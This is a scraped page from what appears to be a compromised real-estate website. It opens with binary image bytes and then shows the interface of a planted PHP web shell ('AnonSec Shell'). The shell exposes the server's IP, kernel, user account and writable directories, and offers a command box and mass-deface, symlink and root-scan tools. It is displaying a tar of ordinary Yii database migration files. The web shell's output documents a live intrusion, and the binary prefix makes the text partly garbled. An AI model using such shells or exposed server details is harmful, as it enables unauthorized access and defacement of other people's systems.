JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.216.173   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/.trash/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/.trash/migrations.tar
m170811_100739_create_project_image_table.php000066600000001250151456230740014411 0ustar00<?php

use yii\db\Migration;

/**
 * Handles the creation for table `project_image`.
 */
class m170811_100739_create_project_image_table extends Migration
{
    /**
     * @inheritdoc
     */
    public function up()
    {
        $this->createTable('project_image', [
            'id' => $this->primaryKey(),
            'project_id' => $this->integer(10)->notNull(),
            'file_name' => $this->string(255)->notNull(),
            'sort_order' => $this->integer(10)->notNull(),
            'is_main' => $this->integer(10)->notNull(),
        ]);
    }

    /**
     * @inheritdoc
     */
    public function down()
    {
        $this->dropTable('project_image');
    }
}
m170814_125723_change_type_in_projects_table.php000066600000001072151456230740015150 0ustar00<?php

use yii\db\Migration;

class m170814_125723_change_type_in_projects_table extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `project` MODIFY COLUMN `description` text NOT NULL;
        ");
    }

    public function down()
    {
        echo "m170814_125723_change_type_in_projects_table cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170821_084021_add_member_table.php000066600000001463151456230740012337 0ustar00<?php

use yii\db\Migration;

class m170821_084021_add_member_table extends Migration
{
    public function up()
    {
        $this->createTable('member', [
            'id' => $this->primaryKey(),
            'name' => $this->string(255)->notNull(),
            'position' => $this->string(255)->notNull(),
            'image' => $this->string(500)->notNull(),
            'twitter' => $this->string(255),
            'linkedin' => $this->string(255),
            'mail' => $this->string(255),
        ]);
    }

    public function down()
    {
        echo "m170821_084021_add_member_table cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170812_150548_create_project_blueprint_table.php000066600000001270151456230740015341 0ustar00<?php

use yii\db\Migration;

/**
 * Handles the creation for table `project_blueprint`.
 */
class m170812_150548_create_project_blueprint_table extends Migration
{
    /**
     * @inheritdoc
     */
    public function up()
    {
        $this->createTable('project_blueprint', [
            'id' => $this->primaryKey(),
            'project_id' => $this->integer(10)->notNull(),
            'file_name' => $this->string(255)->notNull(),
            'sort_order' => $this->integer(10)->notNull(),
            'is_main' => $this->integer(10)->notNull(),
        ]);
    }

    /**
     * @inheritdoc
     */
    public function down()
    {
        $this->dropTable('project_blueprint');
    }
}
m170811_093435_create_projects_table.php000066600000001357151456230740013446 0ustar00<?php

use yii\db\Migration;

/**
 * Handles the creation for table `project`.
 */
class m170811_093435_create_projects_table extends Migration
{
    /**
     * @inheritdoc
     */
    public function up()
    {
        $this->createTable('project', [
            'id' => $this->primaryKey(),
            'title' => $this->string(255)->notNull(),
            'city' => $this->string(255)->notNull(),
            'description' => $this->string(500)->notNull(),
            'investment' => $this->float()->notNull(),
            'profit' => $this->float()->notNull(),
            'term' => $this->string(255)->notNull(),
        ]);
    }

    /**
     * @inheritdoc
     */
    public function down()
    {
        $this->dropTable('project');
    }
}
m160823_114208_allow_blank_config_value.php000066600000001117151456230740014115 0ustar00<?php

use yii\db\Migration;

class m160823_114208_allow_blank_config_value extends Migration
{
    public function up()
    {
      $this->execute("ALTER TABLE `global_configuration` CHANGE `value` `value` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL;");
    }

    public function down()
    {
        echo "m160823_114208_allow_blank_config_value cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170824_102041_add_description_field_to_member.php000066600000001066151456230740015433 0ustar00<?php

use yii\db\Migration;

class m170824_102041_add_description_field_to_member extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `member`
            ADD `description` text;
        ");
    }

    public function down()
    {
        echo "m170824_102041_add_description_field_to_member cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170821_140212_change_lat_long_type_in_project_table_2.php000066600000001204151456230740017046 0ustar00<?php

use yii\db\Migration;

class m170821_140212_change_lat_long_type_in_project_table_2 extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `project` MODIFY COLUMN `latitude` text;
            ALTER TABLE `project` MODIFY COLUMN `longitude` text;
        ");
    }

    public function down()
    {
        echo "m170821_140212_change_lat_long_type_in_project_table_2 cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m151026_142937_initial_tables.php000066600000027634151456230740012113 0ustar00<?php

use yii\db\Schema;
use yii\db\Migration;

class m151026_142937_initial_tables extends Migration
{
    public function up()
    {
        $this->execute("
            SET NAMES utf8;
            SET time_zone = '+00:00';
            SET foreign_key_checks = 0;
            SET sql_mode = 'NO_AUTO_VALUE_ON_ZERO';

            DROP TABLE IF EXISTS `blog_category`;
            CREATE TABLE `blog_category` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

            DROP TABLE IF EXISTS `blog_category_lang`;
            CREATE TABLE `blog_category_lang` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `blog_category_id` int(11) NOT NULL,
              `language` varchar(6) NOT NULL,
              `name` varchar(255) NOT NULL,
              `slug` varchar(255) NOT NULL,
              `description` text NULL,
              `meta_description` varchar(255) NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) NOT NULL,
              `updated_at` int(10) NOT NULL,
              PRIMARY KEY (`id`),
              KEY `blog_category_id` (`blog_category_id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `blog_category_lang_ibfk_1` FOREIGN KEY (`blog_category_id`) REFERENCES `blog_category` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
              CONSTRAINT `blog_category_lang_ibfk_2` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `blog_category_lang_ibfk_3` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

            DROP TABLE IF EXISTS `blog_post`;
            CREATE TABLE `blog_post` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `blog_category_id` int(11) NULL,
              `is_published` tinyint(1) NOT NULL DEFAULT '1',
              `featured_image` varchar(255) NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) NOT NULL,
              `updated_at` int(10) NOT NULL,
              PRIMARY KEY (`id`),
              KEY `blog_category_id` (`blog_category_id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `blog_post_ibfk_1` FOREIGN KEY (`blog_category_id`) REFERENCES `blog_category` (`id`) ON DELETE SET NULL ON UPDATE RESTRICT,
              CONSTRAINT `blog_post_ibfk_2` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `blog_post_ibfk_3` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `blog_post_lang`;
            CREATE TABLE `blog_post_lang` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `blog_post_id` int(11) NOT NULL,
              `language` varchar(6) NOT NULL,
              `title` varchar(255) NOT NULL,
              `slug` varchar(255) NOT NULL,
              `meta_description` varchar(255) NOT NULL,
              `text` text NOT NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              KEY `blog_post_id` (`blog_post_id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `blog_post_lang_ibfk_1` FOREIGN KEY (`blog_post_id`) REFERENCES `blog_post` (`id`) ON DELETE CASCADE ON UPDATE CASCADE,
              CONSTRAINT `blog_post_lang_ibfk_2` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `blog_post_lang_ibfk_3` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;

            DROP TABLE IF EXISTS `content`;
            CREATE TABLE `content` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `flat_page_id` int(11) NOT NULL,
              `name` varchar(255) NOT NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              UNIQUE KEY `name_flat_page_id` (`name`, `flat_page_id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              KEY `flat_page_id` (`flat_page_id`),
              CONSTRAINT `content_ibfk_1` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `content_ibfk_2` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`),
              CONSTRAINT `content_ibfk_3` FOREIGN KEY (`flat_page_id`) REFERENCES `flat_page` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `content_lang`;
            CREATE TABLE `content_lang` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `content_id` int(11) NOT NULL,
              `language` varchar(6) NOT NULL,
              `text` text NOT NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              KEY `content_id` (`content_id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `content_lang_ibfk_1` FOREIGN KEY (`content_id`) REFERENCES `content` (`id`),
              CONSTRAINT `content_lang_ibfk_2` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `content_lang_ibfk_3` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `flat_page`;
            CREATE TABLE `flat_page` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `url` varchar(255) NOT NULL,
              `is_active` tinyint(1) NOT NULL DEFAULT '1',
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              UNIQUE KEY `url` (`url`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `flat_page_ibfk_1` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `flat_page_ibfk_2` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `flat_page_lang`;
            CREATE TABLE `flat_page_lang` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `flat_page_id` int(11) NOT NULL,
              `language` varchar(6) NOT NULL,
              `title` varchar(255) NOT NULL,
              `slug` varchar(255) NOT NULL,
              `meta_description` varchar(255) NOT NULL,
              `anchor` varchar(255) NOT NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              KEY `flat_page_id` (`flat_page_id`),
              CONSTRAINT `flat_page_lang_ibfk_2` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `flat_page_lang_ibfk_3` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`),
              CONSTRAINT `flat_page_lang_ibfk_4` FOREIGN KEY (`flat_page_id`) REFERENCES `flat_page` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `gallery`;
            CREATE TABLE `gallery` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `name` varchar(255) NOT NULL,
              `slug` varchar(255) NOT NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              UNIQUE KEY `name` (`name`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `gallery_ibfk_1` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `gallery_ibfk_2` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `gallery_image`;
            CREATE TABLE `gallery_image` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `gallery_id` int(11) NOT NULL,
              `file_name` varchar(255) NOT NULL,
              `sort_order` int(10) unsigned NOT NULL DEFAULT '0',
              `is_active` tinyint(1) NOT NULL DEFAULT '1',
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              KEY `gallery_id` (`gallery_id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `gallery_image_ibfk_1` FOREIGN KEY (`gallery_id`) REFERENCES `gallery` (`id`),
              CONSTRAINT `gallery_image_ibfk_2` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `gallery_image_ibfk_3` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `global_configuration`;
            CREATE TABLE `global_configuration` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `name` varchar(255) NOT NULL,
              `slug` varchar(255) NOT NULL,
              `value` varchar(255) NOT NULL,
              `created_by` int(11) NOT NULL,
              `updated_by` int(11) NOT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              KEY `created_by` (`created_by`),
              KEY `updated_by` (`updated_by`),
              CONSTRAINT `global_configuration_ibfk_1` FOREIGN KEY (`created_by`) REFERENCES `user` (`id`),
              CONSTRAINT `global_configuration_ibfk_2` FOREIGN KEY (`updated_by`) REFERENCES `user` (`id`)
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;


            DROP TABLE IF EXISTS `user_profile`;
            CREATE TABLE `user_profile` (
              `id` int(11) NOT NULL AUTO_INCREMENT,
              `user_id` int(11) NOT NULL,
              `name` varchar(255) NOT NULL,
              `lastname` varchar(255) NULL,
              `avatar` varchar(255) DEFAULT NULL,
              `created_at` int(10) unsigned NOT NULL,
              `updated_at` int(10) unsigned NOT NULL,
              PRIMARY KEY (`id`),
              KEY `user_id` (`user_id`),
              CONSTRAINT `user_profile_ibfk_1` FOREIGN KEY (`user_id`) REFERENCES `user` (`id`) ON DELETE CASCADE
            ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
        ");
    }

    public function down()
    {
        echo "m151026_142937_initial_tables cannot be reverted.\n";

        return false;
    }


    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m151014_151414_addI18nTables.php000066600000002411151456230740011420 0ustar00<?php

use yii\db\Schema;
use yii\db\Migration;

class m151014_151414_addI18nTables extends Migration
{
    /**
     * @return bool|void
     * @throws InvalidConfigException
     */
    public function safeUp()
    {
        $sourceMessageTable = '{{%source_message}}';
        $messageTable = '{{%translated_message}}';
        $this->createTable($sourceMessageTable, [
            'id' => Schema::TYPE_PK,
            'category' => Schema::TYPE_STRING,
            'message' => Schema::TYPE_TEXT
        ]);
        $this->createTable($messageTable, [
            'id' => Schema::TYPE_INTEGER,
            'language' => Schema::TYPE_STRING,
            'translation' => Schema::TYPE_TEXT
        ]);
        $this->addPrimaryKey('id', $messageTable, ['id', 'language']);
        $this->addForeignKey('fk_source_message_message', $messageTable, 'id', $sourceMessageTable, 'id', 'cascade', 'restrict');
    }
    public function safeDown()
    {
        $i18n = Yii::$app->getI18n();
        if (!isset($i18n->sourceMessageTable) || !isset($i18n->messageTable)) {
            throw new InvalidConfigException('You should configure i18n component');
        }
        $this->dropTable($i18n->sourceMessageTable);
        $this->dropTable($i18n->messageTable);
        return true;
    }
}
m170814_102958_add_default_values_to_projects_table.php000066600000001367151456230740016525 0ustar00<?php

use yii\db\Migration;

class m170814_102958_add_default_values_to_projects_table extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `project` MODIFY COLUMN `price_buy` float(10,2) DEFAULT 0;
            ALTER TABLE `project` MODIFY COLUMN `price_tax` float(10,2) DEFAULT 0;
            ALTER TABLE `project` MODIFY COLUMN `price_reform` float(10,2) DEFAULT 0;
        ");
    }

    public function down()
    {
        echo "m170814_102958_add_default_values_to_projects_table cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170821_135645_change_lat_long_type_in_project_table.php000066600000001204151456230740016643 0ustar00<?php

use yii\db\Migration;

class m170821_135645_change_lat_long_type_in_project_table extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `project` MODIFY COLUMN `latitude` double;
            ALTER TABLE `project` MODIFY COLUMN `longitude` double;
        ");
    }

    public function down()
    {
        echo "m170821_135645_change_lat_long_type_in_project_table cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170824_130522_change_field_in_project_to_null.php000066600000001073151456230740015447 0ustar00<?php

use yii\db\Migration;

class m170824_130522_change_field_in_project_to_null extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `project` MODIFY COLUMN `term` VARCHAR(255) NULL;
        ");
    }

    public function down()
    {
        echo "m170824_130522_change_field_in_project_to_null cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m160830_141435_simple_post_tags.php000066600000001024151456230740012460 0ustar00<?php

use yii\db\Migration;

class m160830_141435_simple_post_tags extends Migration
{
    public function up()
    {
      $this->execute("ALTER TABLE `blog_post_lang` ADD `tags_list` VARCHAR(255) NULL AFTER `text`;");
    }

    public function down()
    {
        echo "m160830_141435_simple_post_tags cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m160830_111420_metas.php000066600000001765151456230740010220 0ustar00<?php

use yii\db\Migration;

class m160830_111420_metas extends Migration
{
    public function up()
    {
      $this->execute("
        ALTER TABLE `blog_post_lang` 
          ADD `meta_title` VARCHAR(255) NULL AFTER `slug`;  
        ALTER TABLE `blog_post_lang` 
          CHANGE `meta_description` `meta_description` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL;
        ALTER TABLE `blog_post_lang` 
          CHANGE `text` `text` TEXT CHARACTER SET utf8 COLLATE utf8_general_ci NULL;
        ALTER TABLE `flat_page_lang` ADD `meta_title` VARCHAR(255) NULL AFTER `slug`;
        UPDATE `flat_page_lang` SET `meta_title`=`title`;
        ALTER TABLE `flat_page_lang` DROP `title`;
      ");
    }

    public function down()
    {
        echo "m160830_111420_metas cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m151111_171516_add_field_to_allow_flatpages_to_be_displayed_on_menu.php000066600000001247151456230740021655 0ustar00<?php

use yii\db\Schema;
use yii\db\Migration;

class m151111_171516_add_field_to_allow_flatpages_to_be_displayed_on_menu extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `flat_page`
            ADD `display_on_menu` tinyint(1) NOT NULL DEFAULT '1' AFTER `is_active`;
        ");
    }

    public function down()
    {
        echo "m151111_171516_add_field_to_allow_flatpages_to_be_displayed_on_menu cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m180918_142854_updates.php000066600000001062151456230740010572 0ustar00<?php

use yii\db\Migration;

class m180918_142854_updates extends Migration
{
    public function up()
    {
      $this->execute("
      
      UPDATE `project_image` SET `is_main`=0;
      UPDATE `project` SET `investors`=1 WHERE `investors`=0;

      ");

    }

    public function down()
    {
        echo "m180918_142854_updates cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m160830_110150_flat_page_allow_empty_title_and_desc.php000066600000001364151456230740016460 0ustar00<?php

use yii\db\Migration;

class m160830_110150_flat_page_allow_empty_title_and_desc extends Migration
{
    public function up()
    {
      $this->execute("
        ALTER TABLE `flat_page_lang` 
          CHANGE `title` `title` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL, 
          CHANGE `meta_description` `meta_description` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL;  
      ");
    }

    public function down()
    {
        echo "m160830_110150_flat_page_allow_empty_title_and_desc cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m130524_201442_init.php000066600000002137151456230740010045 0ustar00<?php

use yii\db\Schema;
use yii\db\Migration;

class m130524_201442_init extends Migration
{
    public function up()
    {
        $tableOptions = null;
        if ($this->db->driverName === 'mysql') {
            // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci
            $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';
        }

        $this->createTable('{{%user}}', [
            'id' => $this->primaryKey(),
            'username' => $this->string()->notNull()->unique(),
            'auth_key' => $this->string(32)->notNull(),
            'password_hash' => $this->string()->notNull(),
            'password_reset_token' => $this->string()->unique(),
            'email' => $this->string()->notNull()->unique(),

            'status' => $this->smallInteger()->notNull()->defaultValue(10),
            'created_at' => $this->integer()->notNull(),
            'updated_at' => $this->integer()->notNull(),
        ], $tableOptions);
    }

    public function down()
    {
        $this->dropTable('{{%user}}');
    }
}
m170525_105716_config_allow_null_authors.php000066600000001142151456230740014353 0ustar00<?php

use yii\db\Migration;

class m170525_105716_config_allow_null_authors extends Migration
{
    public function up()
    {
      
      $this->execute("ALTER TABLE `global_configuration` CHANGE `created_by` `created_by` INT(11) NULL, CHANGE `updated_by` `updated_by` INT(11) NULL;");

    }

    public function down()
    {
        echo "m170525_105716_config_allow_null_authors cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
m170812_144922_add_fields_to_project_table.php000066600000001565151456230740014600 0ustar00<?php

use yii\db\Migration;

class m170812_144922_add_fields_to_project_table extends Migration
{
    public function up()
    {
        $this->execute("
            ALTER TABLE `project`
            ADD `investors` int(10),
            ADD `latitude` float(10,2),
            ADD `longitude` float(10,2),
            ADD `price_buy` float(10,2),
            ADD `price_tax` float(10,2),
            ADD `price_reform` float(10,2);
        ");
        
        $this->execute("
            ALTER TABLE `project`
            DROP column `investment`;
        ");
    }

    public function down()
    {
        echo "m170812_144922_add_fields_to_project_table cannot be reverted.\n";

        return false;
    }

    /*
    // Use safeUp/safeDown to run migration code within a transaction
    public function safeUp()
    {
    }

    public function safeDown()
    {
    }
    */
}
schema-pgsql.sql000066600000001517151700006270007657 0ustar00/**
 * Database schema required by \yii\log\DbTarget.
 *
 * The indexes declared are not required. They are mainly used to improve the performance
 * of some queries about message levels and categories. Depending on your actual needs, you may
 * want to create additional indexes (e.g. index on `log_time`).
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @link http://www.yiiframework.com/
 * @copyright 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 * @since 2.0.1
 */

drop table if exists "log";

create table "log"
(
   "id"          bigserial NOT NULL PRIMARY KEY,
   "level"       integer,
   "category"    varchar(255),
   "log_time"    double precision,
   "prefix"      text,
   "message"     text
);

create index "idx_log_level" on "log" ("level");
create index "idx_log_category" on "log" ("category");schema-mssql.sql000066600000001502151700006270007662 0ustar00/**
 * Database schema required by \yii\log\DbTarget.
 *
 * The indexes declared are not required. They are mainly used to improve the performance
 * of some queries about message levels and categories. Depending on your actual needs, you may
 * want to create additional indexes (e.g. index on `log_time`).
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @link http://www.yiiframework.com/
 * @copyright 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 * @since 2.0.1
 */

drop table if exists [log];

create table [log]
(
   [id]          bigint IDENTITY PRIMARY KEY,
   [level]       integer,
   [category]    varchar(255),
   [log_time]    float,
   [prefix]      text,
   [message]     text
);

create index [idx_log_level] on [log] ([level]);
create index [idx_log_category] on [log] ([category]);
m160313_153426_session_init.php000066600000002056151700006270011606 0ustar00<?php
/**
 * @link http://www.yiiframework.com/
 * @copyright Copyright (c) 2008 Yii Software LLC
 * @license http://www.yiiframework.com/license/
 */

use yii\db\Migration;

/**
 * Initializes Session tables
 *
 * @author Misbahul D Munir <misbahuldmunir@gmail.com>
 * @since 2.0.8
 */
class m160313_153426_session_init extends Migration
{

    /**
     * @inheritdoc
     */
    public function up()
    {
        $tableOptions = null;
        if ($this->db->driverName === 'mysql') {
            // http://stackoverflow.com/questions/766809/whats-the-difference-between-utf8-general-ci-and-utf8-unicode-ci
            $tableOptions = 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB';
        }

        $this->createTable('{{%session}}', [
            'id' => $this->string()->notNull(),
            'expire' => $this->integer(),
            'data' => $this->binary(),
            'PRIMARY KEY ([[id]])',
        ], $tableOptions);
    }

    /**
     * @inheritdoc
     */
    public function down()
    {
        $this->dropTable('{{%session}}');
    }
}
schema-mysql.sql000066600000001505151700006270007673 0ustar00/**
 * Database schema required by \yii\log\DbTarget.
 *
 * The indexes declared are not required. They are mainly used to improve the performance
 * of some queries about message levels and categories. Depending on your actual needs, you may
 * want to create additional indexes (e.g. index on `log_time`).
 *
 * @author Alexander Makarov <sam@rmcreative.ru>
 * @link http://www.yiiframework.com/
